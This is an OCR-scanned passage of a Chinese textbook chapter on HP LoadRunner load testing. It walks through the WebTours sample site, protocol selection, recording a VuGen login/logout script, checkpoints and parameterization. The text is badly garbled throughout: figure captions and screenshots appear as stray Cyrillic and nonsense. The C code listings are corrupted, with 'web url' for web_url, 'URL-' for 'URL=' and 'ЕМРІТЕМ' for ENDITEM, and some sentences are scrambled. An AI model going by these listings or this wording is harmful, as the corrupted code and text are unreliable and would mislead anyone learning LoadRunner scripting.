: Aanlysis: 是 收集 测试 数据 后 生成 图 表 报 告 的 地 方 ， 能 帮 有 我们 分 析 数 据 并 产生 图 表 ， 方 便 进 行 后 续 的 分 析 。 
2.WebTours 示 例 程 序 
LoadRunner 还 提供 了 一 个 示例 程序 WebTours 供 我 们 练习 。 启 动 菜单 为 “开始 ”一 HP LoadRunner 一 9amples 一 Web， 如 图 2-3 所 示 。 


出 于 好 奇 ， 小 白 直接 单 击 了 HP Web Tours Application 的 链接 ， 结 果 出 现 了 如 图 2-4 所 示 的 报错 页 面 。 


HP LoadRunner 
c LoadRunner 


à Advanced Settin 
k Applications 
Ф Documentation 
Samples 

Web 
| | HP Web Tours Application 
ЗЫ Start Web Server 
k Tools 


e X e B http://127.0.0.E1080/WebTours 
= Internet Explorer Аш... x wasa 


Internet Explorer 无 法 显示 该 网 页 


xn] Ez uA PERF: 


图 2-4 报错 页 面 


根据 自己 的 猜测 应 该 是 某 个 服务 没有 启动 导致 的 。 所 以 小 白 下 意识 地 单 击 Start Web Server， 然 后 再 次 访问 该 地 址 ， 终 于 见 到 WebTours 的 真 面 狐 了， 如 图 2-5 所 示 。 


于 是 他 单 击 图 2-5 中 的 Sign Up Now 链 接 并 注册 了 一 个 名 为 besttest 的 用 户 ， 登 录 成 功 后 出 现 如 图 2-6 所 示 的 页 面 。 


"IE lüB0D/WebTaurs/ 
EŠ Web Tours X | | ғ A m= l | 
жин Ka =a S СЕР ч К 


=æ 


€» WebTours 


Password Web Tou rs 


Welcome to the Web Tours site. 


To make reservatinns,please enter your account information to the left. 
Е Lege SW) IF you haven't registered yet, sign up now to get access to all aur resources. 
EE арн. To configure the server options, use administration link. 


This product uses parte af the SMT Кепте, Copright (c) 1221-233 IMalkix Corporation 


图 2-5 WebTours 


c А22 е а /A 27 0.0. 1H n8O/WebTours/ f ` : 
Ә тыз гезе " | — "M. ' P А. я - * 1 : 7 * * | 


OD WebTours 


Welcome, besttest, to the Web Tours reservation pages. 
Using the menu to the left, you can search for new flights to book, . 


82-6 ZRAZ A M 


Qi 推荐 使 用 IE 6 或 IE 9， 并 设 IE 为 默认 浏览 器 ， 同 时 选中 “浏览 器 ”， 之 后 选择 “工具 ”一 “Internet 选 项 ”， 在 弹出 的 “Internet 属 性 ”对 话 框 中 选择 “高 级 ”选项 卡 ， 在 其 中 选中 “启用 第 三 方 


浏览 器 扩展 ” 


23 ”深入 理解 协议 选 


上 述 操 作 完成 后 ， 小 白 立 刻 打开 VuGen， 想 看 看 传说 中 的 LoadRunner 到 底 如 何 。 就 在 他 刚刚 兴奋 起 来 时 却 看 到 如 图 2-7 所 示 的 界面 ， 原 来 还 要 熟悉 协议 才 行 ， 因 为 协议 对 于 LoadRunner 来 说 是 很 重要 
的 。 


W 


& | Domain Name Resolution [DN5 ] 


WP Enterprise Java Beans [EJB] 
S$ File Transfer Protocol (FTP) 
fx|Flex 


| 到 Internet Messaging [МАР] 


ER Message Format [АМЕ] 

А Macromedia proprietary protocol that allows Flash 

|. Remoting binary data ta be exchanged between a Flash 
application and an application server over HTTP. 


图 2-7 Wi 
那么 接 下 来 ， 就 按部就班 地 来 学 习 协 议 的 相关 知识 吧 。 


首先 需要 明白 协议 是 什么 ? 可 以 把 协议 理解 为 数据 包 在 交换 、 通 信 时 要 按照 统一 的 约定 ， 这 样 双方 才能 识别 ， 否 则 一 个 用 A 格式 ， 一 个 用 B 格 式 ， 那 不 就 对 不 上 号 了 吗 ? 当然 也 就 无 法 识别 了 。 所 以 ,， 协 
议 的 选择 至 关 重 要 。 


其 次 ，LoadRunner 与 协议 又 有 什么 联系 呢 ? LoadRunner 录 制 时 不 关心 对 象 是 什么 ，LoadRunner 有 一 个 Agent 进 程 来 专门 监控 客户 端 和 服务 器 之 间 的 通信 。 所 以 ，LoadRunner 录 制 时 关心 的 是 通 
言 ， 是 客户 端 和 服务 器 之 间 的 数据 包 ， 也 就 是 协议 。 


小 白 在 BestTest 论 坛 上 看 到 有 许多 人 会 问 为 什么 有 时 LoadRunner 不 能 录制 或 录制 出 来 的 脚本 为 空 。 也 许 就 是 这 个 原因 ， 因 为 LoadRunner 不 认识 用 户 的 协议 ， 所 以 LoadRunner 截 获 的 数据 包 不 能 解 


也 有 很 多 人 认为 只 要 是 B/S 结构 的 ， 都 选择 HTTP， 如 果 不 是 B/S 的 ， 就 选择 Socket， 这 种 说 法 是 比较 片面 的 。 因 为 一 般 Socket 是 万 能 协议 ,任何 对 象 都 可 以 通过 它 来 传输 。 所 以 要 真正 理解 这 个 问题 
必须 清楚 所 测 系统 的 数据 流 采 用 什么 协议 包装 。 最 好 能 向 开发 人 员 多 了 解 ， 多 学 习 。 


到 这 里 小 白 还 有 一 个 疑问 : 这 么 多 协议 一 般 该 怎么 选择 呢 ? 带 着 这 个 疑问 ， 小 白 查阅 资料 后 做 出 如 下 总 结 。 
.Web 类 型 网 站 : 协议 选用 HTTP/HTML。 

.FTP 服务 器 : 协议 选用 FTP。 

' 邮件 服务 器 : 协议 选用 IMAP (同步 邮件 电子 邮件 ) 、POP3 (接收 电子 邮件 ) 、SMTP (发 送 电子 邮件 ) 。 
: 以 ADO、OLEDB 方 式 连 接 后 台数 据 库 的 C/S 客 户 端 : 协议 选用 MS SQL Server、Oracle、Sybase、DB2。 

: 以 ODDBC 方 式 连接 后 台数 据 库 的 C/S 客 户 端 : 协议 选用 ODBC。 

- 没有 后 台数 据 库 的 C/S 客 户 端 : 协议 选用 Socket。 


虽然 总 结 不 是 十 分 全 面 ， 但 是 对 于 我 们 已 经 足够 用 了 。 为 了 方便 ， 小 白 选 择 使 用 WebTours 程 序 来 进行 后 续 的 练习 。 


Start Page 


24 脚本 编写 实战 


知识 的 学 习 都 是 从 易 到 难 的 ， 所 以 小 白 选择 了 最 简单 的 场景 。 以 提前 注册 好 的 用 户 名 besttest， 密 码 123123 完 成 登录 、 退 出 的 业务 。 别 小 看 这 么 简单 的 场景 ， 也 许 你 也 和 小 白 一 样 遇 到 了 不 少 问 题 呢 。 


通过 “开始 ”菜单 下 的 HP LoadRunner 一 Application 一 Virtual User Generator 打 开 并 新 建 一 个 空白 的 Web (HTTP/HTML) 协议 的 脚本 ， 首 次 会 出 现 Task 视 图 界面 ， 如 图 2-8 所 示 。 


nonamei - Web (HTTP/HTML) | noname2 - Web (HTTP/HTML) 


Tasks 


æ Introduction 


1. Recording 
Record Application 


Recording Sumrnary 


2. Replay 
Varify Replay 


3. Enhancements 
Introduction 
Transactions 
Parameterization 
Content Checks 


4, Prepare For Load 
Introduction 
Iterations 
Concurrent Users 


5. Finish 
Finish 


General 
Replay Summary 
Halp 


Introduction to Script Creation 


VuGan's Wizard moda helps you create a script in four simple steps: 


1. Recording 


Start your application and record your business process into a script. 
Far Each recorded action, Vutien creates a step. After completion of the recording process, VuGen generates a sequence of steps that form a Vuser script. 


2. Verification 


Run your script as a standalone test te verify ite functionality and to identify potential problems. 


3. Enhancements 
Add enhancements to the script to make it a more accurate emulation of a business process and to allow 
you to gather essential data. Add transacbons, content checks, and parameters. 


4. Prepare for Load 


Adapt your script for a load test by running it with multiple users and repeating it several times. 
To continue press the Next button. 


[ Next time you create a script, skip this page and open recording 


图 2-8 Task 视 图 界面 


初学 者 可 按照 图 2-8 中 的 步骤 学 习 。 因 为 这 里 不 使 用 此 视图 ， 所 以 切换 到 Script 视 图 界面 。 


Qaz LoadRunnet 的 VuGen 支 持 C 语 言 开 发 、Java 语 言 开发 以 及 .NET 语 言 开 发 ， 几 乎 支持 目前 主流 的 开发 平台 ， 十 分 强大 。 这 里 以 C 语 言 为 主 。 


241 脚本 录制 


在 开始 录制 之 前 有 必要 了 解 LoadRunner 的 录制 原理 。 当 使 用 VuGen 进 行 录制 时 ,会 使 用 代理 来 访问 服务 器 ， 这 样 就 把 客户 端 和 服务 器 之 间 的 通信 数据 包 捕 捉 了 下 来 ， 然 后 LoadRunner 通 过 对 应 协议 


的 AP1l 进 行 脚本 封装 ， 最 终 以 良好 的 形式 展现 在 VuGen 中 。 


了 解 录制 原理 之 后 ， 就 开始 录制 脚本 。 打 开 LoadRunner 的 VuGen 组 件 ， 新 建 一 个 Web (HTTP/HTML) 协议 的 脚本 ， 弹 出 Start Recording. (开始 录制 ) 对 话 框 ， 如 图 2-9 所 示 。 


Start Recording 
Application type : 


Program to record : 
URL Address: : 


Working directory : 


Internet Applications 


Microsoft Internet Explorer 
http://12T.0.0. 1: 1080/ ebTours/ 


E: Nl1r scripts*webTours-besttest 


Record into Action: [Action | Mew... | 


Iv Record the application startup 


Оріомз... | 


Cancel | 


图 2-9 “开始 录制 ”对 话 框 
下 面 对 图 2-9 中 的 主要 选项 进行 学 习 。 
+ Application суре: 一 般 默认 为 Internet Applications， 即 B/S 应 用 。 这 里 的 WebTours 使 用 该 默认 选项 。Win32 Applications 则 是 用 来 支持 标准 的 Win32 客 户 端 。 
: Program to record: 指定 录制 时 使 用 的 浏览 器 ， 默 认为 I[E。 
Qi: 


如 果 调 用 浏览 器 时 出 现 异 常 ， 可 以 手工 在 此 指定 IE 的 完整 绝对 路 径 ， 如 “C:\Program Files\Internet Explorer Niexplore.exe" „ 3} F Windows 7 64 位 操作 系统 的 用 户 需 要 注意 的 是 ，IE 可 以 指定 
gt р р 


为 “C:\Program Files (x86) Mnternet Explorer\iexplore.exe” o 
另外 ， 建 议 浏览 器 保持 干净 ， 不 要 安装 多 余 的 插件 ， 否 则 会 出 现 一 些 莫 名 其 妙 的 问题 ， 浪 费 我 们 的 宝贵 时 间 。 
: URL Address: 填写 要 录制 的 程序 地 址 URL。 
: Working directory: 脚本 存放 的 工作 目录 。 


: Record into Action: 包含 vuser init, Actionfevuser _end。 它 们 的 区 别 是 vuser_init 和 vuser_end 中 的 脚本 代码 只 执行 一 次 ， 而 Action 中 可 以 执行 设 定 的 次 数 。 同 时 集合 点 也 只 能 在 Action 中 设置 。 至 于 集合 点 


是 什么 ， 我 们 后 面 再 学 习 。 这 里 默认 选择 Action 即 可 。 


单 击 图 2-9 中 的 OK 按钮 后 ，LoadRunner 调 用 IE 打开 WebTours 网 站 并 录制 。 开 始 录制 后 ， 在 屏幕 上 出 现 如 图 2-10 所 示 的 浮动 工具 条 ， 通 过 该 浮动 工具 条 可 以 完成 暂停 录制 、 停 止 录制 、Action 切 换 以 及 
其 他 动作 。 


图 2-10 录制 结束 导航 


录制 完成 后 ， 生 成 的 完整 代码 如 下 。 


代码 清单 2-1 登录 、 退 出 完整 代码 


Action () 
{ 


// 打 开 Web Tours 首 页 
web url (“WebTours”, 
"URL-http: //127.0.0.1: 1080/WebTours/", 
"TargetFrame-", 
Resource-0", 
"RecContentType-text/html", 
"Referer-", 
"Snapshot-tb5.inf", 
"Mode-HTML.", 
EXTRARES, 
"Url-http: //conf.xmp.xunlei.com/vus/vipjs/vus utility.js",  ENDITEM, 
"Url-http: //conf.xmp.xunlei.com/vus/vipjs/vus config.js",  ENDITEM, 
"Url-http: //conf.xmp.xunlei.com/vus/vipjs/vus finder.js", ЕМРІТЕМ, 
LAST) ; Е 
web url ("videourlsnifferconfig.xml", 
"URL-http: //conf.xmp.xunlei.com/videourlsnifferconfig.xml", 
"TargetFrame-", 
Resource-0", 
"RecContentType-text/xml", 
"Referer-", 
"Snapshot-t6.inf", 
"Mode-HTML.", 
EXTRARES, 
"Url-http: //conf.xmp.kankan.com/vus/vipjs/vus main.js”,  "Referer-", ENDITEM, 
LAST) ; Е 
web url ("config.xml", 
"URL-http: //plugin.x17.xunlei.com/coop/thunderbho/2.5.x.xxxx/config.xml", 
"TargetFrame-", 
Resource-0", 
"RecContentType-text/xml", 
"Referer-", 
"Snapshot-t7.inf", 
"Mode-HTML.", 
LAST) ; 
lr think time (56) ; 
web url ("IE9CompatViewList.xml", 
"URL-http: //ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml", 
"TargetFrame-", 
Resource-0", 
"RecContentType-text/xml", 
"Referer-", 
"Snapshot-t8.inf", 
"Mode-HTML.", 
LAST) ; 
lr think time (32) ; 
// 提 交 登 录 信 息 
web submit data ("login.pl", 
"Action-http: //127.0.0.1: 1080/WebTours/login.pl^, 
"Method-POST", 
"TargetFrame-", 
"RecContentType-text/html", 
"Referer-http: //127.0.0.1: 1080/WebTours/nav.pl? in-home", 
"Snapshot-t9.inf", 
"Mode-HTML.", 
TEMDATA, 
"Name-username",  "Value-besttest",  ENDITEM, 
"Name-password",  "Value-123123", ЕМРІТЕМ, 
"Name-login.x",  "Value-53",  ENDITEM, 


NN 


"Name-login.y",  "Value-9",  ENDITEM, 

LAST) ; 

lr think time (9) ; 

// 退 出 Web Tours 

web url ("SignOff Button", 

"URL-http: //127.0.0.1: 1080/WebTours/welcome.pl? signOff-1^", 
"TargetFrame-body", 

"Resource-0", 

"RecContentType-text/html", 

"Referer-http: //127.0.0.1: 1080/WebTours/nav.pl? page-menu&in-home", 
"Snapshot-t10.inf", 

"Mode-HTML.", 

LAST) ; 

return 0; 


МАЗЕД 7, KAAMBALAN? 于 是 他 向 经 理 求助 。 经 理 告诉 人 了 他， 学习 LoadRunner 最 好 的 小 伙伴 就 是 F1 的 函数 帮助 手册 ， 它 可 以 说 是 绝 佳 “ 利 器 ”。 


Oza 在 LoadRunner 的 录制 过 程 中 ， 请 勿 使 用 浏览 器 中 的 “后 退 ” 按 钮 。LoadRunner 对 该 功能 的 支持 不 好 。 
242 “利器 ”一 一 国 数 手册 


于 是 小 白 就 用 经 理 告 诉 他 的 “利器 ” 冰 数 手册 来 学 习 。 首 先 来 看 下 web_url 函 数 。 这 个 函数 对 应 的 业务 操作 是 打开 WebTours 首 页 。 具 体 函 数 信息 可 双击 选中 web_url 后 ， 按 F1 键 查看 ， 出 现 说 明 ， 如 图 
2-11 所 示 。 


web url 


Return Values | Parameterization P :- 


l 


Loads the specified Web page (GET request). 


C Language 例子 


пт web u onst char *StepName, const char *url, «List of Attributes >, [EXTRARES, «List of Resource Attributes »,] LAST ); 
Lxample See Also 


图 2-11 web_url 2 


在 图 2-11 中 ， 需 要 重点 关注 Return Values (805208) . Parameterization (参数 ) 和 Example (PF) 。 单 击 其 中 的 Example 链 接 ， 进 入 后 可 以 看 到 各 种 各 样 的 实例 ， 并 有 详细 的 描述 ， 这 是 以 
后 我 们 经 常 查 看 的 地 方 。 


学 会 Web_url 国 数 后 就 可 以 照 猫 画 虎 地 学 习 其 他 国 数 了 。 下 一 个 国 数 是 Ir_ think_time。 这 时 候 小 白 想起 了 之 前 学 习 基 础 知识 时 理解 过 思考 时 间 的 概念 (参见 1.3 节 ) ， 这 里 便 是 模拟 了 用 户 的 真实 行为 操 
作 记 录 下 他 的 停顿 时 间 。 需 要 注意 单位 是 秒 。 


接着 是 web_submit_data 函 数 ， 小 白 看 到 里 面 有 自己 输入 的 用 户 名 和 密码 ， 所 以 就 猜想 这 个 应 该 就 是 登录 信息 的 提交 请 求 了 。 通 过 F1 键 查看 ， 小 白 确 定 了 自己 的 猜想 ， 这 个 函数 其 实 就 是 充当 了 POST 
的 数据 提交 请 求 ，ITEM DATA 后 面 的 则 是 提交 的 参数 以 及 对 应 的 值 。 在 代码 清单 2-1 中 就 是 username 对 应 的 besttest 和 password 对 应 的 123123。 


243 ”脚本 优化 
一 般 录 制 出 来 的 脚本 会 存在 很 多 无 关 请 求 代码 ， 不 能 直接 使 用 ， 必 须 经 过 优化 才 行 。 
在 刚才 学 习 的 过 程 中 ， 小 白 发 现 了 几 个 貌似 和 业务 没有 关系 的 请 求 ， 如 含有 xunlei、kankan、microsoft 的 请 求 ， 因 为 这 些 请 求 对 于 我 们 来 说 是 无 关 的 ， 所 以 可 以 删除 掉 。 


完成 清理 后 ， 细 心 的 小 白 还 发 现 ， 在 一 些 函 数 中 有 个 EXTRARES 关 键 字 ， 后 面 跟着 一 些 额 外 的 请 求 ， 这 到 底 是 什么 ， 能 不 能 删除 呢 》 其 实 这 个 问题 的 答案 并 无 对 错 ， 关 键 还 是 要 看 性 能 测试 的 目的 ， 如 
果 是 要 完整 地 模拟 用 户 操作 或 是 做 性 能 评估 ， 那 么 要 保留 。 如 果 不 是 ， 则 可 以 考虑 删除 进而 对 脚本 进行 瘦身 。 本 脚本 中 的 EXTRARES 是 无 关 的 内 容 ， 可 以 删除 。 


脚本 优化 的 方法 主要 有 插入 事务 、 插 入 集合 点 、 设 置 思考 时 间 、 设 置 参 数 化 、 设 置 关联 、 设 置 检查 点 以 及 插入 注释 等 。 这 些 会 在 后 续 的 章节 中 详细 学 习 。 
244 ”脚本 回放 


脚本 录制 完成 后 要 如 何 验证 是 不 是 正确 呢 ? 这 就 需要 依靠 脚本 的 回放 功能 了 。 一 般 在 回放 之 前 要 先 单 击 图 2-12 中 第 二 个 方 框 内 官 ] 按 钮 编译 检查 脚本 是 否 存 在 语法 错误 等 ， 然 后 单 击 图 2-12 中 按钮 回放 脚 
本 。 


图 2-12 ”回放 与 编译 


如 果 脚 本 在 运行 过 程 中 出 现 错误 ，VuGen 会 在 日 志 区 域 提 示 并 标 红 错 误 信 息 ， 方 便 用 户 调试 脚本 。 脚 本 运行 完成 后 会 产生 报告 ， 可 以 单 击 菜单 View 一 Test Results 来 查看 ， 如 图 2-13 所 示 。 


S- v Bl Test nonamel Summary 
D^ эф мне Балташ nonamel Results Summary 
H-  [* попате1 Iteration 1 (Row 1) - 

— Сф vuser end Summary 


Test: nonamel 

Results name: resulti 

Time Zone: 中 国标 准时 间 

Run started: 2014/4/28 - 15:40:17 
Run ended: 2014/4/28 - 15:40:21 


Iteration € Results 
Passed 


Status 
Passed 
Failed 


Warnings 


图 2-13 Test Results 


如 果 有 错误 ， 则 报告 中 会 体现 ， 当 然 没 有 错误 ， 也 不 能 说 明 脚 本 一 定 成 功 ， 后 面 遇 到 这 样 的 情况 再 讲解 。 


25 ”脚本 增强 实战 


通过 上 面 的 学 习 ， 小 白 对 基本 的 操作 已 经 很 熟悉 了 ， 接 下 来 他 将 继续 学 习 如 何 增强 脚本 功能 。 


2.5.1 ”检查 点 实战 


继续 以 WebTours 为 例 ， 如 何 判断 besttest 用 户 是 否 登录 成 功 呢 ?这 时 候 检 查 点 函数 就 派 上 用 场 了 。 这 里 有 两 个 检查 点 函数 ， 分 别 是 文本 检查 点 和 图 片 检 查 点 。 


1. 文 本 检查 点 

小 白 昌 然 刚 刚 接触 LoadRunner， 但 多 年 养 成 的 良好 学 习习 惯 已 经 让 他 的 学 习 效 率 比 别人 高 了 。 人 小 白 直 接 在 函数 帮助 手册 中 查看 web_reg_find 并 学 习 这 个 函数 。 原 来 这 个 函数 用 于 在 HTML 页 面 检查 是 
否 有 用 户 指定 的 文本 。 

接着 小 白 就 动手 在 脚本 里 增加 这 个 函数 ， 小 白 想 既 然 是 检查 用 户 名 ， 那 么 肯定 是 在 登录 完成 后 才能 查找 到 ， 所 以 就 把 代码 清单 2-2 中 的 内 容 加 到 了 提交 登录 请 求 后 。 


代码 清单 2-2 文本 检查 点 


// 文 本 检查 点 ， 检 查 besttest 
web reg find ("Text-besttest", LAST ) ; 


完成 后 ， 运 行 脚 本 ， 本 来 党 得 一 切 都 没 问 题 ， 但 却 报错 了 ， 如 图 2-14 所 示 。 


lhctionc(42): Error -26366: “Text=besttest not found for web reg find (Мета; MERR-26366 | 
Action ctt2 web url( SignDtt Button ) highest severity level was ERROR”, 2025 body bytes, 623 header bytes — [MegId: WIWSG-26388] 


图 2-14 报错 日 志 
是 交 请 求 之 前 加 的 ， 为 什么 要 这 样 呢 ? 小 白 再 次 查找 相关 资料 了 解 到 ， 原 来 新 版 的 LOadRunner 


于 是 ， 小 白 再 次 查看 函数 帮助 手册 ， 看 看 是 不 是 漏 掉 了 什么 重要 信息 。 果 然 ， 示 例 中 的 文本 检查 点 是 在 提 和 交 请 


中 凡是 带 有 reg 的 通 数 ， 都 是 注册 遂 数 ， 这 个 函数 的 特点 是 要 放 到 实际 提交 请 求 操 作 之 前 。 小 白 赶 紧 修改 文本 检查 点 函数 的 位 置 ， 将 其 放 到 了 提交 登录 请 求 之 前 。 


再 次 回放 后 ， 终 于 成 功 且 日 志 没有 报错 ， 如 图 2-15 所 示 。 
Action. c (23): Registered web reg find successful for "Text-besttest" (count=1) [NsgId: JSC-26364] 
图 2-15 ”成功 日 志 
2. 图 片 检查 点 
通过 查看 函数 帮助 手册 ， 小 白 了 解 到 图 片 检 查 点 国 数 web_image_check 是 针对 设 定 的 图 片 属性 进行 检查 ， 一 般 图 片 属性 有 alt、src 等 。 
Qi 图 片 检查 点 池 数 中 的 属性 可 以 是 alt， 也 可 以 是 strc， 有 的 图 片 没 有 alt 属 性 ， 但 所 有 图 片 都 有 sfc 属性， 所 以 建议 一 般 选取 stc 属 性 指定 图 片 的 相对 路 径 即 可 ， 可 以 通过 右 击 网 页 选择 查看 页 面 源 代 
码 获 得 。 


小 白 把 该 函数 加 到 登录 之 后 ， 检 查 登 录 成 功 后 的 “退出 ”按钮 图 片 ， 如 代码 清单 2-3 所 示 。 


代码 清单 2-3 ”图 片 检 查 点 


// 图 片 检查 点 ， 检 查 退 出 按钮 图 片 


web | image check ("signoff", Lm 随意 命名 
"Src-/WebTours/images/signoff.gi // 图 片 的 src 属 性 


LAST) ; 


添加 完成 后 ， 单 击 “ 回 放 ”按钮 ， 日 志 里 并 没有 任何 报错 ， 不 过 细心 的 小 白 还 是 发 现 了 这 样 一句 话 ， 如 图 2-16 所 示 。 


EDO — 一 


See the "Run-tine ine settings / Preferences Checks’ 


Terification checks not enabled., web ШЕЕ check $ ПЕШТЕ 


1 -——— =. 


в NES 
сі, rid] i: 
K —r 

图 2-16 日志 提示 


根据 提示 ， 小 白 查 看 Run-time Settings 设 置 中 的 Preferences， 发 现 了 一 个 关于 检查 点 的 设置 选项 ， 如 图 2-17 所 示 。 


Ele Edt уем Took Window Help 
эт Ет -[E)|«x: 8 sur Record Р 5161169 | © 
Start Page |  попатез - - Web (HTTP/HTML) | guanlien webtours - Web (HT TPIHTMC) 


Insert Vuser Actions 


: [V] Tasks | | 可 5 


&* ¿umar D MEN " I "Snapshot- tb. Int. 
* Acti f i : | - m 

ге dnd à Run-time Settings IN SES " 
мег en 


HE 
$; globak.h apl: Preferences = 


-- General 
: - RunLagic 
Раста - Enable Image and text check 

— Lag 
-- Think. Time 
+ Additional attributes 
+ Miscellaneous 

- Network 


i. Speed Simulation 


Generate web performance graphe 
W Hits per second and HTTP codes 
[ Pages per second [HTML Моде only 
[fw Response bytes per second 


Browser 
… Browse Emulatia 


Advanced 
[ winlnet replay instead сё Sackets [windows anly] 


[v File andline in automatic transaction names 


— |ntemet Protocol 


[vw Nan-criical resauice errors az wamings 


| Canish hack 
~ Data Format Extension 
~ Denfiguratian 


[e Save snapshar resources Iacaly 


Sgt advanced aptinns 


Оріона... | 


Ве | ЕЕ | 
Ё Bags | [ Enable Image and text check- — 
Action. с ( | | Allows he user to perform venficatian checks diina replay by executing the 
Action. сй | veriicalion functions web. lind or web image. check. Mate that this option only 
Action. e (3 | apples ta statements recorded in HTML-based made. Also note that Vusers running 
loti m" ct | verificalion checks use more memory. This option is dsabled by derart. 
Action. o (3 
Action. с\й 
Action. cid 
Action. c C3 
Action. c (3 
Action rc 4l Use Defaults | Carcel | Help | 


A ct lon, 


于 是 ， 小 白 把 图 2-17 中 的 Enable Image and text check 勾 选 上 ， 再 次 回放 脚本 并 查看 


Action. c(41): 


"web image 


check" 


succeeded (1 occurrence (s) found. Alt 


图 2-17 Checks 设置 


志 ， 显示 成 功 I 如 图 2-18 所 示 。 


we =- = mm — — m -— =. 


Un mm lm -.. 


" ' src=" /VebTours/images/signoff. gif' е 


== mm -.. 


9 


92-18 ”文本 检查 点 成 功 


Qi 检查 点 功能 选项 默认 是 关闭 的 ， 一 般 不 建议 使 用 ， 因 为 它 会 消耗 一 些 资源 。 脚 本 调试 期 间 可 以 使 用 ， 但 场景 运行 期 间 建 议 关 闭 。 


3. 检 查 点 扩展 


ANNO 


过 看 日 志 


在 查看 消 数 帮助 手册 时 还 发 现 检查 点 函数 的 男 一 种 用 法 也 是 比较 常用 的 。 以 登录 后 检查 用 户 名 为 例 来 说 明 。 


web reg 


find (“Text — с 


"SaveCount-besttes 


LAST ); 


// 其 中 Texi 


C coun 


-民明 变 检 查 的 用 户 名 是 besttest,， SaveCount 代 表 把 检查 到 的 次 数 保存 在 


//besttes 


t count 


2.52 ”参数 化 实战 


志 得 出 的 ， 原 来 调试 脚本 


小 白 在 想 “ 如 果 想 模拟 不 同 用户 登 录 系 统 LoadRunner 能 实现 吗 ? ”其 实 是 可 以 实现 的 ， 利 用 参数 化 即 可 。LoadRunner 中 的 参数 化 有 两 种 ， 一 种 是 俗称 文件 形式 的 参数 化 ， 一 种 是 数据 库 形 式 的 参数 
化 。 


一 般 参 数 化 的 应 用 场景 有 如 下 几 种 。 

1) 真实 的 模拟 用 户 操 作 。 

2) 系统 不 允许 同一 个 用 户 频繁 地 进行 相同 操作 。 

3) 系统 对 数据 的 唯一 性 有 要 求 。 

设置 参数 化 的 一 般 步骤 为 : 分 析 需 要 参数 化 的 数据 一 设计 数据 分 配方 式 一 查找 替换 对 象 。 

1. 文 件 参数 化 

为 了 练习 ， 小 白 准备 把 用 户 名 进行 参数 化 ， 参 数 化 的 值 分 别 为 besttest、besttestxiaoqiang、besttestandashu， 它 们 的 密码 统一 为 123123。 练 习 步 骤 如 下 。 


1) 依次 单 击 菜单 中 的 Insert 一 New Parameter 命 令 ， 弹 出 如 图 2-19 所 示 的 参数 化 对 话 框 ， 单 击 new 按 钮 ， 并 重 命名 为 username。 


2) 依次 单 击 图 2-19 中 的 Create Table 一 Edit with Notepad， 在 弹出 的 文本 中 输入 参数 化 的 值 ， 每 个 值 占据 一 行 ， 最 后 保留 一 个 空 行 ， 然 后 保存 关闭 即 可 ， 如 图 2-20 所 示 。 


File [usernane. dat w | Browsza.. | 


edad Column.. 


The data file does not exist. To create a file click 'Lreate". 


Create T able | Data Wizard... | Simulate Parameter 


© l act col umrt ] [ Tile form at P 
(* By number 1 =] Column [с omma = | 
C By name: | ы | | [ а} data | 1 -— 


[Sequential | 


ad ok ars ib sea 
Select пені row 


Update value on Each iteration 


When out of value: | Continue with last value "j 


Г i L ü i ' 
r-Allocate Vuser values mthel.ontrolle 
| 


t Automatically allacate block size 


£ ` | кү x - k = — ТЕ ds poma 
Allo сапа | Чч alus tG CAL | | VLIEEN 


Delete 


图 2-19 ”参数 化 对 话 框 


05 Parameter Lit ii — 


| «D user i 
username Parameter type: | File 


File username. dat | 


Add Column... 3 1 username 

besttest 
| besttestxiaoqianz 
[КҮ уел | p— 


username 


(* By number: 
C^ By name: | 
Select next row: ENS 
Update value оп: Eachi 


E Cenni ” 


图 2-20 输入 参数 化 值 


3) 回 到 脚本 中 ， 找 到 要 参数 化 的 用 户 名 ， 双 击 选中 ， 单 击 鼠 标 右键 ， 选 择 Use Existing Parameter 一 username， 如 图 2-21 所 示 。 


i: |P = + + + 一 一 "um 


"Name-username', “Value | 
"Name-password , "Value Ctritz | 
"Name-lozin.x', "Value-58', 
"Name-logzin.v', "Value-10', 
LAST) ; 


ЧЕ fum. ААШ ЕА 
image checki web imaze ched Go to Line... 
"Src-/WebTeurs/images/sign4 
LAST? ; 


бо to Step in Replay Aih, 


Insert 
: 
€| Toggle Breakpoint 


as successful [MszId: MMSI 
p://127. 0. 0, 1:1080/WebTours Open Script Directory 


g://[127.0. 0. 1: 1080/WebTours 
p://12T. 0. 0. 1:1080/WebTours 


| \0. 0. 1:1080/WebTours/logi 
1 :10B0/WebTours /1nages Replace with a Parameter nime T ours / пау. pl 


- D. 0. 
- 0. 0. 1:1080/WebT ours/ inages Use Existing Parameter BO ана: 
.0.0. 1:1080/WebTours/lmazes ERR ' | nl: 
acd mus cul me tasu rss | _ Select from Parameter List... — [| 


图 2-21 ”参数 替换 


4) 最 终 完 成 参数 化 后 ， 参 数 username 被 { 包 围 ， 这 是 在 LoadRunner 中 的 规则 ， 如 图 2-22 所 示 。 


118286158, SAH Г ВРА 

web submit data(^login.pl', | 
"Action-http://127. 0. 0. 1:1080/WebTours/login.pl^, 
"Method-POST', 
"TargetFrame-', 
"RecContentType-text/htnl", 
"Referer-http://127. 0. 0. 1:1080/WebTours /nav. pl7in-home', 
"Snapshot-tB8. inf”, 
"Mode-HTML", 
ITENMDATÀ, 


"Nane-username", "Value-[username]", ENDITEM, // ЯРАН (E 3944] 
"Name-password', "Value-123123', ENDITEIN, 


"Name-login.x', "Value-58', ENDITEMN, 
"Name-login.y", "Value-10', ENDITEM, 
LAST) ; 


图 2-22 ”参数 化 后 的 代码 


5) 单 击 菜单 Vuser 一 Run-time Settings 一 RunLogic， 设 置 迭 代 次 数 为 3， 这 样 才能 验证 参数 化 是 否 正 确 ， 如 图 2-23 所 示 。 


-General Run Logic 
| Iteration Count 


,~ Think Time 

Additional attributes EF wW Init Insert Action 
| 1. Miscellaneous i 4, vwuser init 
Мао B- © Hae (x3) Insert Block 
| `e Speed Simulation 
i Browser 1 Delete 
| - Browser Emulation ' | | 
x 7 Intemet Protocol Ї miser TA 


图 2-23 ”设置 迭代 
6) 运行 并 验证 ， 经 过 3 次 迭代 运行 后 ， 脚 本 没有 问题 ， 都 可 以 正常 登录 。 
到 这 里 ， 小 白 并 没有 满足 ， 他 想 如 果 用 户 名 与 密码 要 一 一 对 应 ， 该 怎么 参数 化 呢 ? 方法 如 下 。 
用 户 名 的 参数 化 方法 与 上 面 的 步骤 一 样 。 密 码 的 参数 化 稍 有 不 同 ， 步 又 如 下 


1) 新 建 参数 pwd， 并 选择 File 为 username.dat， 如 图 2-24 所 示 。 


Add Column... Add Row... 


Delete Column, 


Em bestteztixiaoqgiang 
